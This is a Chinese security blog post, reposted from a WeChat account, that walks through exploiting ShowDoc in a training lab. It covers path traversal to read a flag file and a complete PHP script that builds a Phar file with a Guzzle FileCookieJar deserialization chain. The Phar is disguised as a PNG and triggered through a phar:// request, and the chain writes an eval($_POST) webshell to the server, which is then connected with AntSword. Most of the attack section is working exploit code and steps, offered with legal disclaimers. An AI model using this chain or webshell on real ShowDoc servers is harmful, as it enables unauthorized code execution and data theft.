Showdoc反序列化

admin 2024年7月14日18:55:10评论44 views字数 1808阅读6分1秒阅读模式
本文由掌控安全学院 - 知识土拨鼠 投稿

 

非常简单的一个靶场

靶场地址:https://hack.zkaq.cn/

打开靶场,弹出了这种登录框,这也成为了后面的一个坑点,记住这个登录框。
Showdoc反序列化
Showdoc反序列化
看到了注册功能,showdoc有注册功能我们就不用尝试前台SQL注入了,直接注册就行(题目中的SQL注入多少有点滑稽..)。如果平时遇到了showdoc没有注册功能的,师傅们可以用p牛大佬的注入exp
https://github.com/vulhub/vulhub/blob/master/showdoc/3.2.5-sqli/poc.py
接着打靶,登录后台,来到文件库
Showdoc反序列化
Showdoc反序列化
尝试直接读取flag
/server/index.php?s=/../../../../flag.txt
直接爆出了绝对路径
Showdoc反序列化
拿我们开始准备生成Phar的脚本,exp.php:

  1. <?php
  2. namespaceGuzzleHttpCookie{
  3. classSetCookie{
  4. privatestatic $defaults =[
  5. 'Name'=>null,
  6. 'Value'=>null,
  7. 'Domain'=>null,
  8. 'Path'=>'/',
  9. 'Max-Age'=>null,
  10. 'Expires'=>null,
  11. 'Secure'=>false,
  12. 'Discard'=>false,
  13. 'HttpOnly'=>false
  14. ];
  15. function __construct()
  16. {
  17. $this->data['Expires']='<?php @eval($_POST["cmd"]);?>';
  18. $this->data['Discard'] = 0;
  19. }
  20. }
  21. class CookieJar{
  22. private $cookies = [];
  23. private $strictMode;
  24. function __construct() {
  25. $this->cookies[] = new SetCookie();
  26. }
  27. }
  28. class FileCookieJar extends CookieJar {
  29. private $filename;
  30. private $storeSessionCookies;
  31. function __construct() {
  32. parent::__construct();
  33. $this->filename = "/var/www/html/server/3.php";
  34. $this->storeSessionCookies = true;
  35. }
  36. }
  37. }
  38. namespace{
  39. $pop = new GuzzleHttpCookieFileCookieJar();
  40. $phar = new Phar("flag.phar");
  41. $phar->startBuffering();
  42. $phar->setStub('GIF89a'."__HALT_COMPILER();");
  43. $phar->setMetadata($pop);
  44. $phar->addFromString("test.txt", "test");
  45. $phar->stopBuffering();
  46. }

本地启动phpstudy,把exp.php在本地环境运行

Showdoc反序列化
成功生成flag.php
Showdoc反序列化
注意:
1.制作phar包时需要修改php.ini文件如下:

[Phar]
; http://php.net/phar.readonly
phar.readonly = Off
; http://php.net/phar.require-hash
phar.require_hash = On
phar.cache_list =

Showdoc反序列化
然后把flag.phar文件改名为flah.png,会有文件上传检测
上传后,点击查看获取到文件路径
Showdoc反序列化

Showdoc反序列化
然后访问/server/index.php?s=home/index/new_is_writeable&file=phar://../获取到的文件路径
触发phar反序列化

Showdoc反序列化
成功触发页面是空白,然后访问我们写入马子的位置

Showdoc反序列化
成功写入木马,但是这里有些人可能会连不上木马,像这样爆红

Showdoc反序列化
原因就是最开始的访问网页的认证登录框,我们重新开一个浏览器对比一下登录和没有登录区别。
没有登录

Showdoc反序列化
登录成功

Showdoc反序列化
区别就是登录成功后带上了Authorization,所以我们在蚁剑中添加上这样的请求头,即可成功连接
Showdoc反序列化
获取flag
Showdoc反序列化

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

Showdoc反序列化

 

原文始发于微信公众号(掌控安全EDU):漏洞复现 | Showdoc反序列化

 


免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月14日18:55:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Showdoc反序列化https://cn-sec.com/archives/2950559.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息